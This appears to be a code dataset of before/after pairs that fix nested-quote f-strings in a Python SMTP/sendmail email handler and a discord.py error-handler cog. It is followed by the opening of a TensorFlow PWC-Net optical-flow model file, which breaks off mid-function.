f"Tuple[{', '.join(_show_type(e) for e in tuple_elements)}]"
),
handle_mapping=lambda k, v: f"Mapping[{_show_type(k)}, {_show_type(v)}]",
# We create a MarkDown header for each class, so we can link to it here.
handle_dataclass=lambda cls: f"[{cls.__name__}](#{cls.__name__})",
)
|
"""Email handler."""
import getpass
import logging
import smtplib
import subprocess
from email import policy
from email.message import EmailMessage
from pathlib import Path
from typing import Optional, Union
try:
import keyring
except ImportError:
keyring = None # type: ignore[assignment]
logger = logging.getLogger(__name__)
class Mailer(object):
"""Mailer class."""
def send(self, msg: Union[EmailMessage]) -> None:
"""Send a message.
:param msg: The message to be sent.
"""
raise NotImplementedError
@staticmethod
def msg(
from_email: str, to_email: str, subject: str, text_body: str, html_body: Optional[str] = None
) -> EmailMessage:
"""Create an Email object for a message.
:param from_email: The 'from' email address
:param to_email: The 'to' email address
:param subject: The 'subject' of the email
:param text_body: The body in text format
:param html_body: The body in html format (optional)
"""
msg = EmailMessage(policy=policy.SMTPUTF8)
msg['from'] = from_email
msg['to'] = to_email
msg['subject'] = subject
msg.set_content(text_body, subtype='plain')
if html_body is not None:
msg.add_alternative(html_body, subtype='html')
return msg
class SMTPMailer(Mailer):
"""The Mailer class for SMTP."""
def __init__(
self,
smtp_user: str,
smtp_server: str,
smtp_port: int,
tls: bool,
auth: bool,
insecure_password: Optional[str] = None,
) -> None:
"""The Mailer class for SMTP.
:param smtp_user: The username for the SMTP server.
:param smtp_server: The address of the SMTP server.
:param smtp_port: The port of the SMTP server.
:param tls: Whether tls is to be used to connect to the SMTP server.
:param auth: Whether authentication is to be used with the SMTP server.
:param insecure_password: The password for the SMTP server (optional, to be used only if no keyring is present).
"""
self.smtp_server = smtp_server
self.smtp_user = smtp_user
self.smtp_port = smtp_port
self.tls = tls
self.auth = auth
self.insecure_password = insecure_password
def send(self, msg: Optional[EmailMessage]) -> None:
"""Send a message via the SMTP server.
:param msg: The message to be sent.
"""
passwd = '' # nosec: B105 Possible hardcoded password
if self.auth:
if self.insecure_password:
passwd = self.insecure_password
elif keyring is not None:
key_pass = keyring.get_password(self.smtp_server, self.smtp_user)
if key_pass is None:
raise ValueError(f'No password available in keyring for {self.smtp_server} {self.smtp_user}')
else:
passwd = key_pass
else:
raise ValueError(f'No password available for {self.smtp_server} {self.smtp_user}')
with smtplib.SMTP(self.smtp_server, self.smtp_port) as server:
server.ehlo()
if self.tls:
server.starttls()
if self.auth:
server.login(self.smtp_user, passwd)
if msg:
server.send_message(msg)
logger.info(f"SMTP email sent to {msg.get("to")} via {self.smtp_server}")
class SendmailMailer(Mailer):
"""The Mailer class to use sendmail executable."""
def __init__(self, sendmail_path: Union[str, Path]) -> None:
self.sendmail_path = sendmail_path
def send(self, msg: Union[EmailMessage]) -> None:
"""Send a message via the sendmail executable.
:param msg: The message to be sent.
"""
p = subprocess.run(
[self.sendmail_path, '-oi', msg['To']],
input=msg.as_string(),
capture_output=True,
text=True,
)
if p.returncode:
logger.error(f'Sendmail failed with {p.stderr}')
def smtp_have_password(smtp_server: str, from_email: str) -> bool:
"""Check whether the keyring password is set for the email service.
:param smtp_server: The address of the SMTP server.
:param from_email: The email address of the sender.
:returns: True if the keyring password is set.
"""
if keyring is None:
return False
return keyring.get_password(smtp_server, from_email) is not None
def smtp_set_password(smtp_server: str, from_email: str) -> None:
"""Set the keyring password for the email service. Interactive.
:param smtp_server: The address of the SMTP server.
:param from_email: The email address of the sender.
"""
if keyring is None:
raise ImportError('keyring module missing - service unsupported')
password = getpass.getpass(prompt=f'Enter password for {from_email} using {smtp_server}: ')
keyring.set_password(smtp_server, from_email, password)
| """Email handler."""
import getpass
import logging
import smtplib
import subprocess
from email import policy
from email.message import EmailMessage
from pathlib import Path
from typing import Optional, Union
try:
import keyring
except ImportError:
keyring = None # type: ignore[assignment]
logger = logging.getLogger(__name__)
class Mailer(object):
"""Mailer class."""
def send(self, msg: Union[EmailMessage]) -> None:
"""Send a message.
:param msg: The message to be sent.
"""
raise NotImplementedError
@staticmethod
def msg(
from_email: str, to_email: str, subject: str, text_body: str, html_body: Optional[str] = None
) -> EmailMessage:
"""Create an Email object for a message.
:param from_email: The 'from' email address
:param to_email: The 'to' email address
:param subject: The 'subject' of the email
:param text_body: The body in text format
:param html_body: The body in html format (optional)
"""
msg = EmailMessage(policy=policy.SMTPUTF8)
msg['from'] = from_email
msg['to'] = to_email
msg['subject'] = subject
msg.set_content(text_body, subtype='plain')
if html_body is not None:
msg.add_alternative(html_body, subtype='html')
return msg
class SMTPMailer(Mailer):
"""The Mailer class for SMTP."""
def __init__(
self,
smtp_user: str,
smtp_server: str,
smtp_port: int,
tls: bool,
auth: bool,
insecure_password: Optional[str] = None,
) -> None:
"""The Mailer class for SMTP.
:param smtp_user: The username for the SMTP server.
:param smtp_server: The address of the SMTP server.
:param smtp_port: The port of the SMTP server.
:param tls: Whether tls is to be used to connect to the SMTP server.
:param auth: Whether authentication is to be used with the SMTP server.
:param insecure_password: The password for the SMTP server (optional, to be used only if no keyring is present).
"""
self.smtp_server = smtp_server
self.smtp_user = smtp_user
self.smtp_port = smtp_port
self.tls = tls
self.auth = auth
self.insecure_password = insecure_password
def send(self, msg: Optional[EmailMessage]) -> None:
"""Send a message via the SMTP server.
:param msg: The message to be sent.
"""
passwd = '' # nosec: B105 Possible hardcoded password
if self.auth:
if self.insecure_password:
passwd = self.insecure_password
elif keyring is not None:
key_pass = keyring.get_password(self.smtp_server, self.smtp_user)
if key_pass is None:
raise ValueError(f'No password available in keyring for {self.smtp_server} {self.smtp_user}')
else:
passwd = key_pass
else:
raise ValueError(f'No password available for {self.smtp_server} {self.smtp_user}')
with smtplib.SMTP(self.smtp_server, self.smtp_port) as server:
server.ehlo()
if self.tls:
server.starttls()
if self.auth:
server.login(self.smtp_user, passwd)
if msg:
server.send_message(msg)
logger.info(f"SMTP email sent to {msg.get('to')} via {self.smtp_server}")
class SendmailMailer(Mailer):
"""The Mailer class to use sendmail executable."""
def __init__(self, sendmail_path: Union[str, Path]) -> None:
self.sendmail_path = sendmail_path
def send(self, msg: Union[EmailMessage]) -> None:
"""Send a message via the sendmail executable.
:param msg: The message to be sent.
"""
p = subprocess.run(
[self.sendmail_path, '-oi', msg['To']],
input=msg.as_string(),
capture_output=True,
text=True,
)
if p.returncode:
logger.error(f'Sendmail failed with {p.stderr}')
def smtp_have_password(smtp_server: str, from_email: str) -> bool:
"""Check whether the keyring password is set for the email service.
:param smtp_server: The address of the SMTP server.
:param from_email: The email address of the sender.
:returns: True if the keyring password is set.
"""
if keyring is None:
return False
return keyring.get_password(smtp_server, from_email) is not None
def smtp_set_password(smtp_server: str, from_email: str) -> None:
"""Set the keyring password for the email service. Interactive.
:param smtp_server: The address of the SMTP server.
:param from_email: The email address of the sender.
"""
if keyring is None:
raise ImportError('keyring module missing - service unsupported')
password = getpass.getpass(prompt=f'Enter password for {from_email} using {smtp_server}: ')
keyring.set_password(smtp_server, from_email, password)
|
import datetime
import logging
import discord
from discord.ext import commands
class CommandErrorHandler(commands.Cog):
def __init__(self, bot):
self.bot = bot
@staticmethod
async def bot_check(ctx: commands.Context, **kwargs):
"""
This runs at the start of every command
"""
await ctx.trigger_typing()
time = datetime.datetime.utcnow()
msg = f"'{ctx.command}' ran by '{ctx.author}' as '{ctx.invoked_with}' at {time}. with '{ctx.message.content}'"
logging.info(msg)
return True
# flake8: noqa: C901
@commands.Cog.listener()
async def on_command_error(self, ctx: commands.Context, error: Exception):
"""
Runs on every uncaught exception that happens in a Cog at Runtime
Tries to deal with most of actual discord.py errors, otherwise sends a
default error message and error traceback to some specific error tracker
"""
if hasattr(ctx.command, 'on_error'):
# Command already has local error handler, it's not necessary to handle it here
return
# Use original error caught instead of the one caught by the Error Handler if it exists
error = getattr(error, 'original', error)
prefix = self.bot.settings['prefix']
arguments_error = [
commands.MissingRequiredArgument,
commands.BadArgument,
commands.TooManyArguments,
]
if any([isinstance(error, arg_error) for arg_error in arguments_error]):
embed = discord.Embed(
title=f"Command '{prefix}{ctx.command}' arguments:",
description='',
color=discord.Colour.red()
)
for param, param_type in ctx.command.clean_params.items():
try:
default_name = param_type.default.__name__
except AttributeError:
default_name = param_type.default
default = f'(Optional, Default: {default_name})' if default_name != '_empty' else '(Required)'
p_type = param_type.annotation.__name__
if p_type == 'str':
p_type = 'Text'
elif p_type == 'bool':
p_type = '[True, False]'
elif p_type == 'Member':
p_type = 'Member'
elif p_type == 'int':
p_type = 'Number'
embed.add_field(name=param, value=f'**Type:** *{p_type}*\n*{default}*', inline=False)
try:
await ctx.send(embed=embed)
except discord.errors.Forbidden:
await ctx.send('Error. Missing permissions to send an embed with error info.')
elif isinstance(error, commands.CommandNotFound):
# Command does not exist, ignore
pass
elif isinstance(error, commands.DisabledCommand):
await ctx.send('This command is disabled.')
elif isinstance(error, commands.NoPrivateMessage):
await ctx.send('This command can not be used in private messages.')
elif isinstance(error, commands.NotOwner):
await ctx.send("This command can only be used by the bot's owner.")
elif isinstance(error, commands.MissingPermissions):
permissions = [
f"***{perm.title().replace("_", " ")}***" for perm in error.missing_perms]
await ctx.send(f"You need the following permissions to do that: {", ".join(permissions)}")
elif isinstance(error, commands.CommandOnCooldown):
await ctx.send(
f'You already used this comman recently. '
f'Wait another {error.retry_after:.1f}s to use it again'
)
elif isinstance(error, commands.BotMissingPermissions):
permissions = [
f"***{perm.title().replace("_", " ")}***" for perm in error.missing_perms]
await ctx.send(f"I need the following permissions to do that: {", ".join(permissions)}")
elif isinstance(error, commands.errors.CheckFailure):
await ctx.send("You don't have permission to do that.")
else:
await ctx.send('Unknown error. The logs of this error have been sent to a Dev and will be fixed shortly.')
# Send error information to an error tracker here
# Example with Sentry commented below:
# sentry_sdk.set_user({
# 'id': ctx.author and ctx.author.id,
# 'username': str(ctx.author) if ctx.author else None,
# })
# sentry_sdk.set_context('discord', {
# 'guild': ctx.guild,
# 'channel': ctx.channel and (hasattr(ctx.channel, 'name') or None) and ctx.channel,
# 'message': ctx.message and ctx.message.content,
# 'message_id': ctx.message and ctx.message.id,
# 'cog': ctx.cog and ctx.cog.qualified_name,
# 'command': ctx.command and ctx.command.name
# })
# sentry_sdk.capture_exception(error)
def setup(bot):
bot.add_cog(CommandErrorHandler(bot))
| import datetime
import logging
import discord
from discord.ext import commands
class CommandErrorHandler(commands.Cog):
def __init__(self, bot):
self.bot = bot
@staticmethod
async def bot_check(ctx: commands.Context, **kwargs):
"""
This runs at the start of every command
"""
await ctx.trigger_typing()
time = datetime.datetime.utcnow()
msg = f"'{ctx.command}' ran by '{ctx.author}' as '{ctx.invoked_with}' at {time}. with '{ctx.message.content}'"
logging.info(msg)
return True
# flake8: noqa: C901
@commands.Cog.listener()
async def on_command_error(self, ctx: commands.Context, error: Exception):
"""
Runs on every uncaught exception that happens in a Cog at Runtime
Tries to deal with most of actual discord.py errors, otherwise sends a
default error message and error traceback to some specific error tracker
"""
if hasattr(ctx.command, 'on_error'):
# Command already has local error handler, it's not necessary to handle it here
return
# Use original error caught instead of the one caught by the Error Handler if it exists
error = getattr(error, 'original', error)
prefix = self.bot.settings['prefix']
arguments_error = [
commands.MissingRequiredArgument,
commands.BadArgument,
commands.TooManyArguments,
]
if any([isinstance(error, arg_error) for arg_error in arguments_error]):
embed = discord.Embed(
title=f"Command '{prefix}{ctx.command}' arguments:",
description='',
color=discord.Colour.red()
)
for param, param_type in ctx.command.clean_params.items():
try:
default_name = param_type.default.__name__
except AttributeError:
default_name = param_type.default
default = f'(Optional, Default: {default_name})' if default_name != '_empty' else '(Required)'
p_type = param_type.annotation.__name__
if p_type == 'str':
p_type = 'Text'
elif p_type == 'bool':
p_type = '[True, False]'
elif p_type == 'Member':
p_type = 'Member'
elif p_type == 'int':
p_type = 'Number'
embed.add_field(name=param, value=f'**Type:** *{p_type}*\n*{default}*', inline=False)
try:
await ctx.send(embed=embed)
except discord.errors.Forbidden:
await ctx.send('Error. Missing permissions to send an embed with error info.')
elif isinstance(error, commands.CommandNotFound):
# Command does not exist, ignore
pass
elif isinstance(error, commands.DisabledCommand):
await ctx.send('This command is disabled.')
elif isinstance(error, commands.NoPrivateMessage):
await ctx.send('This command can not be used in private messages.')
elif isinstance(error, commands.NotOwner):
await ctx.send("This command can only be used by the bot's owner.")
elif isinstance(error, commands.MissingPermissions):
permissions = [
f"***{perm.title().replace('_', ' ')}***" for perm in error.missing_perms]
await ctx.send(f"You need the following permissions to do that: {', '.join(permissions)}")
elif isinstance(error, commands.CommandOnCooldown):
await ctx.send(
f'You already used this comman recently. '
f'Wait another {error.retry_after:.1f}s to use it again'
)
elif isinstance(error, commands.BotMissingPermissions):
permissions = [
f"***{perm.title().replace('_', ' ')}***" for perm in error.missing_perms]
await ctx.send(f"I need the following permissions to do that: {', '.join(permissions)}")
elif isinstance(error, commands.errors.CheckFailure):
await ctx.send("You don't have permission to do that.")
else:
await ctx.send('Unknown error. The logs of this error have been sent to a Dev and will be fixed shortly.')
# Send error information to an error tracker here
# Example with Sentry commented below:
# sentry_sdk.set_user({
# 'id': ctx.author and ctx.author.id,
# 'username': str(ctx.author) if ctx.author else None,
# })
# sentry_sdk.set_context('discord', {
# 'guild': ctx.guild,
# 'channel': ctx.channel and (hasattr(ctx.channel, 'name') or None) and ctx.channel,
# 'message': ctx.message and ctx.message.content,
# 'message_id': ctx.message and ctx.message.id,
# 'cog': ctx.cog and ctx.cog.qualified_name,
# 'command': ctx.command and ctx.command.name
# })
# sentry_sdk.capture_exception(error)
def setup(bot):
bot.add_cog(CommandErrorHandler(bot))
|
"""
model_pwcnet.py
PWC-Net model class.
Written by Phil Ferriere
Licensed under the MIT License (see LICENSE for details)
"""
from __future__ import absolute_import, division, print_function
import time
import datetime
import warnings
import numpy as np
import pandas as pd
import tensorflow as tf
from tqdm import trange
from tensorflow.contrib.mixed_precision import LossScaleOptimizer, FixedLossScaleManager
from model_base import ModelBase
from optflow import flow_write, flow_write_as_png, flow_mag_stats
from losses import pwcnet_loss
from logger import OptFlowTBLogger
from multi_gpus import assign_to_device, average_gradients
from core_warp import dense_image_warp
from core_costvol import cost_volume
from utils import tf_where
_DEBUG_USE_REF_IMPL = False
# Default options
_DEFAULT_PWCNET_TRAIN_OPTIONS = {
'verbose': False,
'ckpt_dir': './ckpts_trained/', # where training checkpoints are stored
'max_to_keep': 10,
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, 384, 448, 3], # image pairs input shape [2, H, W, 3]
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [384, 448, 2], # u,v flows output shape [H, W, 2]
'train_mode': 'train', # in ['train', 'fine-tune']
'adapt_info': None, # if predicted flows are padded by the model, crop them back by to this size
'sparse_gt_flow': False, # if gt flows are sparse (KITTI), only compute average EPE where gt flows aren't (0., 0.)
# Logging/Snapshot params
'display_step': 100, # show progress every 100 training batches
'snapshot_step': 1000, # save trained model every 1000 training batches
'val_step': 1000, # Test trained model on validation split every 1000 training batches
'val_batch_size': -1, # Use -1 to use entire validation split, or set number of val samples (0 disables it)
# None or in ['top_flow', 'pyramid'|; runs trained model on batch_size random val images, log results
'tb_val_imgs': 'pyramid',
# None or in ['top_flow', 'pyramid'|; runs trained model on batch_size random test images, log results
'tb_test_imgs': None,
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Training config and hyper-params
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use mixed precision training (fp16 inputs)
'loss_scaler': 128., # Loss scaler (only used in mixed precision training)
'batch_size': 8,
'lr_policy': 'multisteps', # choose between None, 'multisteps', and 'cyclic'; adjust the max_steps below too
# Multistep lr schedule
'init_lr': 1e-04, # initial learning rate
'max_steps': 1200000, # max number of training iterations (i.e., batches to run)
'lr_boundaries': [400000, 600000, 800000, 1000000, 1200000], # step schedule boundaries
'lr_values': [0.0001, 5e-05, 2.5e-05, 1.25e-05, 6.25e-06, 3.125e-06], # step schedule values
# Cyclic lr schedule
'cyclic_lr_max': 5e-04, # max bound, anything higher will generate NaNs on `FlyingChairs+FlyingThings3DHalfRes` mix
'cyclic_lr_base': 1e-05, # min bound
'cyclic_lr_stepsize': 20000, # step schedule values
# 'max_steps': 200000, # max number of training iterations
# Loss functions hyper-params
'loss_fn': 'loss_multiscale', # See 'Implementation details" on page 5 of ref PDF
'alphas': [0.32, 0.08, 0.02, 0.01, 0.005, 0.0025], # See 'Implementation details" on page 5 of ref PDF
'gamma': 0.0004, # See 'Implementation details" on page 5 of ref PDF
'q': 1., # See 'Implementation details" on page 5 of ref PDF
'epsilon': 0., # See 'Implementation details" on page 5 of ref PDF
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
_DEFAULT_PWCNET_FINETUNE_OPTIONS = {
'verbose': False,
'ckpt_path': './ckpts_trained/pwcnet.ckpt', # original checkpoint to finetune
'ckpt_dir': './ckpts_finetuned/', # where finetuning checkpoints are stored
'max_to_keep': 10,
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, 384, 768, 3], # image pairs input shape [2, H, W, 3]
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [384, 768, 2], # u,v flows output shape [H, W, 2]
'train_mode': 'fine-tune', # in ['train', 'fine-tune']
'adapt_info': None, # if predicted flows are padded by the model, crop them back by to this size
'sparse_gt_flow': False, # if gt flows are sparse (KITTI), only compute average EPE where gt flows aren't (0., 0.)
# Logging/Snapshot params
'display_step': 100, # show progress every 100 training batches
'snapshot_step': 1000, # save trained model every 1000 training batches
'val_step': 1000, # Test trained model on validation split every 1000 training batches
'val_batch_size': -1, # Use -1 to use entire validation split, or set number of val samples (0 disables it)
'tb_val_imgs': 'top_flow', # None, 'top_flow', or 'pyramid'; runs model on batch_size val images, log results
'tb_test_imgs': None, # None, 'top_flow', or 'pyramid'; runs trained model on batch_size test images, log results
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Training config and hyper-params
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use mixed precision training (fp16 inputs)
'loss_scaler': 128., # Loss scaler (only used in mixed precision training)
'batch_size': 4,
'lr_policy': 'multisteps', # choose between None, 'multisteps', and 'cyclic'; adjust the max_steps below too
# Multistep lr schedule
'init_lr': 1e-05, # initial learning rate
'max_steps': 500000, # max number of training iterations (i.e., batches to run)
'lr_boundaries': [200000, 300000, 400000, 500000], # step schedule boundaries
'lr_values': [1e-05, 5e-06, 2.5e-06, 1.25e-06, 6.25e-07], # step schedule values
# Cyclic lr schedule
'cyclic_lr_max': 2e-05, # maximum bound
'cyclic_lr_base': 1e-06, # min bound
'cyclic_lr_stepsize': 20000, # step schedule values
# 'max_steps': 200000, # max number of training iterations
# Loss functions hyper-params
'loss_fn': 'loss_robust', # 'loss_robust' doesn't really work; the loss goes down but the EPE doesn't
'alphas': [0.32, 0.08, 0.02, 0.01, 0.005], # See 'Implementation details" on page 5 of ref PDF
'gamma': 0.0004, # See 'Implementation details" on page 5 of ref PDF
'q': 0.4, # See 'Implementation details" on page 5 of ref PDF
'epsilon': 0.01, # See 'Implementation details" on page 5 of ref PDF
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
_DEFAULT_PWCNET_VAL_OPTIONS = {
'verbose': False,
'ckpt_path': './ckpts_trained/pwcnet.ckpt',
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, None, None, 3], # image pairs input shape [2, H, W, 3]
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [None, None, 2], # u,v flows output shape [H, W, 2]
'adapt_info': None, # if predicted flows are padded by the model, crop them back by to this size
'sparse_gt_flow': False, # if gt flows are sparse (KITTI), only compute average EPE where gt flows aren't (0., 0.)
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Eval config and hyper-params
'batch_size': 1,
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use fp16 inputs
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
_DEFAULT_PWCNET_TEST_OPTIONS = {
'verbose': False,
'ckpt_path': './ckpts_trained/pwcnet.ckpt',
'x_dtype': tf.float32, # image pairs input type
'x_shape': [2, None, None, 3], # image pairs input shape
'y_dtype': tf.float32, # u,v flows output type
'y_shape': [None, None, 2], # u,v flows output shape
# Multi-GPU config
# list devices on which to run the model's train ops (can be more than one GPU)
'gpu_devices': ['/device:GPU:0', '/device:GPU:1'],
# controller device to put the model's variables on (usually, /cpu:0 or /gpu:0 -> try both!)
'controller': '/device:CPU:0',
# Eval config and hyper-params
'batch_size': 1,
'use_tf_data': True, # Set to True to get data from tf.data.Dataset; otherwise, use feed_dict with numpy
'use_mixed_precision': False, # Set to True to use fp16 inputs
# Model hyper-params
'pyr_lvls': 6, # number of feature levels in the flow pyramid
'flow_pred_lvl': 2, # which level to upsample to generate the final optical flow prediction
'search_range': 4, # cost volume search range
# if True, use model with dense connections (4705064 params w/o, 9374274 params with (no residual conn.))
'use_dense_cx': False,
# if True, use model with residual connections (4705064 params w/o, 6774064 params with (+2069000) (no dense conn.))
'use_res_cx': False,
}
# from ref_model import PWCNet
class ModelPWCNet(ModelBase):
def __init__(self, name='pwcnet', mode='train', session=None, options=_DEFAULT_PWCNET_TEST_OPTIONS, dataset=None):
"""Initialize the ModelPWCNet object
Args:
name: Model name
mode: Possible values: 'train', 'val', 'test'
session: optional TF session
options: see _DEFAULT_PWCNET_TRAIN_OPTIONS comments
dataset: Dataset loader
Training Ref:
Per page 4 of paper, section "Training loss," the loss function used in regular training mode is the same as
the one used in Dosovitskiy et al's "FlowNet: Learning optical flow with convolutional networks" paper
(multiscale training loss). For fine-tuning, the loss function used is described at the top of page 5
(robust training loss).
Per page 5 of paper, section "Implementation details," the trade-off weight gamma in the regularization term
is usually set to 0.0004.
Per page 5 of paper, section "Implementation details," we first train the models using the FlyingChairs
dataset using the S<sub>long</sub> learning rate schedule introduced in E. Ilg et al.'s "FlowNet 2.0:
Evolution of optical flow estimation with deep networks", starting from 0.0001 and reducing the learning
rate by half at 0.4M, 0.6M, 0.8M, and 1M iterations. The data augmentation scheme is the same as in that
paper. We crop 448 × 384 patches during data augmentation and use a batch size of 8. We then fine-tune the
models on the FlyingThings3D dataset using the S<sub>fine</sub> schedule while excluding image pairs with
extreme motion (magnitude larger than 1000 pixels). The cropped image size is 768 × 384 and the batch size
is 4. Finally, we finetune the models using the Sintel and KITTI training set as detailed in section "4.1.
Main results".
"""
super().__init__(name, mode, session, options)
self.ds = dataset
# self.adapt_infos = []
# self.unique_y_shapes = []
###
# Model mgmt
###
def build_model(self):
"""Build model
Called by the base class when building the TF graph to setup the list of output tensors
"""
if self.opts['verbose']:
print("Building model...")
assert(self.num_gpus <= 1)
# Build the backbone neural nets and collect the output tensors
with tf.device(self.opts['controller']):
self.flow_pred_tnsr, self.flow_pyr_tnsr = self.nn(self.x_tnsr)
if self.opts['verbose']:
print("... model built.")
def build_model_towers(self):
"""Build model towers. A tower is the name used to describe a copy of the model on a device.
Called by the base class when building the TF graph to setup the list of output tensors
"""
if self.opts['verbose']:
print("Building model towers...")
# Setup a learning rate training schedule
self.setup_lr_sched()
# Instantiate an optimizer
# see https://stackoverflow.com/questions/42064941/tensorflow-float16-support-is-broken
# for float32 epsilon=1e-08, for float16 use epsilon=1e-4
epsilon = 1e-08 if self.opts['use_mixed_precision'] is False else 1e-4
assert (self.opts['train_mode'] in ['train', 'fine-tune'])
if self.opts['loss_fn'] == 'loss_multiscale':
self.optim = tf.train.AdamOptimizer(self.lr, epsilon=epsilon)
else:
self.optim = tf.train.ProximalGradientDescentOptimizer(self.lr)
# Keep track of the gradients and losses per tower
tower_grads, losses, metrics = [], [], []
# Get the current variable scope so we can reuse all variables we need once we get
# to the next iteration of the for loop below
with tf.variable_scope(tf.get_variable_scope()) as outer_scope:
for n, ops_device in enumerate(self.opts['gpu_devices']):
print(f" Building tower_{n}...")
# Use the assign_to_device function to ensure that variables are created on the controller.
with tf.device(assign_to_device(ops_device, self.opts['controller'])), tf.name_scope(f'tower_{n}'):
# Get a slice of the input batch and groundtruth label
x_tnsr = self.x_tnsr[n * self.opts['batch_size']:(n + 1) * self.opts['batch_size'], :]
y_tnsr = self.y_tnsr[n * self.opts['batch_size']:(n + 1) * self.opts['batch_size'], :]
# Build the model for that slice
flow_pred_tnsr, flow_pyr_tnsr = self.nn(x_tnsr)
# The first tower is also the model we will use to perform online evaluation
if n == 0:
self.flow_pred_tnsr, self.flow_pyr_tnsr = flow_pred_tnsr, flow_pyr_tnsr
# Compute the loss for this tower, with regularization term if requested
loss_unreg = pwcnet_loss(y_tnsr, flow_pyr_tnsr, self.opts)
if self.opts['gamma'] == 0.:
loss = loss_unreg
else:
loss_reg = self.opts['gamma'] * \
tf.reduce_sum([tf.nn.l2_loss(var) for var in tf.trainable_variables()])
loss = loss_unreg + loss_reg
# Evaluate model performance on this tower
metrics.append(tf.reduce_mean(tf.norm(y_tnsr - flow_pred_tnsr, ord=2, axis=3)))
# Compute the gradients for this tower, but don't apply them yet
with tf.name_scope("compute_gradients"):
# The function compute_gradients() returns a list of (gradient, variable) pairs
if self.opts['use_mixed_precision'] is True:
grads, vars = zip(*self.optim.compute_gradients(loss * self.opts['loss_scaler']))
# Return the gradients (now float32) to the correct exponent and keep them in check
grads = [grad / self.opts['loss_scaler'] for grad in grads]
grads, _ = tf.clip_by_global_norm(grads, 5.0)
tower_grads.append(zip(grads, vars))
else:
grad_and_vars = self.optim.compute_gradients(loss)
tower_grads.append(grad_and_vars)
losses.append(loss)
# After the first iteration, we want to reuse the variables.
outer_scope.reuse_variables()
print(f" ...tower_{n} built.")
# Apply the gradients on the controlling device
with tf.name_scope("apply_gradients"), tf.device(self.opts['controller']):
# Note that what we are doing here mathematically is equivalent to returning the average loss over the
# towers and compute the gradients relative to that. Unfortunately, this would place all gradient
# computations on one device, which is why we had to compute the gradients above per tower and need to
# average them here. The function average_gradients() takes the list of (gradient, variable) lists
# and turns it into a single (gradient, variables) list.
avg_grads_op = average_gradients(tower_grads)
self.optim_op = self.optim.apply_gradients(avg_grads_op, self.g_step_op)
self.loss_op = tf.reduce_mean(losses)
self.metric_op = tf.reduce_mean(metrics)
if self.opts['verbose']:
print("... model towers built.")
def set_output_tnsrs(self):
"""Initialize output tensors
"""
if self.mode in ['train_noval', 'train_with_val']:
# self.y_hat_train_tnsr = [self.loss_op, self.metric_op, self.optim_op, self.g_step_inc_op]
self.y_hat_train_tnsr = [self.loss_op, self.metric_op, self.optim_op]
if self.mode == 'train_with_val':
# In online evaluation mode, we only care about the average loss and metric for the batch:
self.y_hat_val_tnsr = [self.loss_op, self.metric_op]
if self.mode in ['val', 'val_notrain']:
# In offline evaluation mode, we only care about the individual predictions and metrics:
self.y_hat_val_tnsr = [self.flow_pred_tnsr, self.metric_op]
# if self.opts['sparse_gt_flow'] is True:
# # Find the location of the zerod-out flows in the gt
# zeros_loc = tf.logical_and(tf.equal(self.y_tnsr[:, :, :, 0], 0.0), tf.equal(self.y_tnsr[:, :, :, 1], 0.0))
# zeros_loc = tf.expand_dims(zeros_loc, -1)
#
# # Zero out flow predictions at the same location so we only compute the EPE at the sparse flow points
# sparse_flow_pred_tnsr = tf_where(zeros_loc, tf.zeros_like(self.flow_pred_tnsr), self.flow_pred_tnsr)
#
# self.y_hat_val_tnsr = [sparse_flow_pred_tnsr, self.metric_op]
self.y_hat_test_tnsr = [self.flow_pred_tnsr, self.flow_pyr_tnsr]
###
# Sample mgmt
###
def adapt_x(self, x):
"""Preprocess the input samples to adapt them to the network's requirements
Here, x, is the actual data, not the x TF tensor.
Args:
x: input samples in list[(2,H,W,3)] or (N,2,H,W,3) np array form
Returns:
Samples ready to be given to the network (w. same shape as x)
Also, return adaptation info in (N,2,H,W,3) format
"""
# Ensure we're dealing with RGB image pairs
assert (isinstance(x, np.ndarray) or isinstance(x, list))
if isinstance(x, np.ndarray):
assert (len(x.shape) == 5)
assert (x.shape[1] == 2 and x.shape[4] == 3)
else:
assert (len(x[0].shape) == 4)
assert (x[0].shape[0] == 2 or x[0].shape[3] == 3)
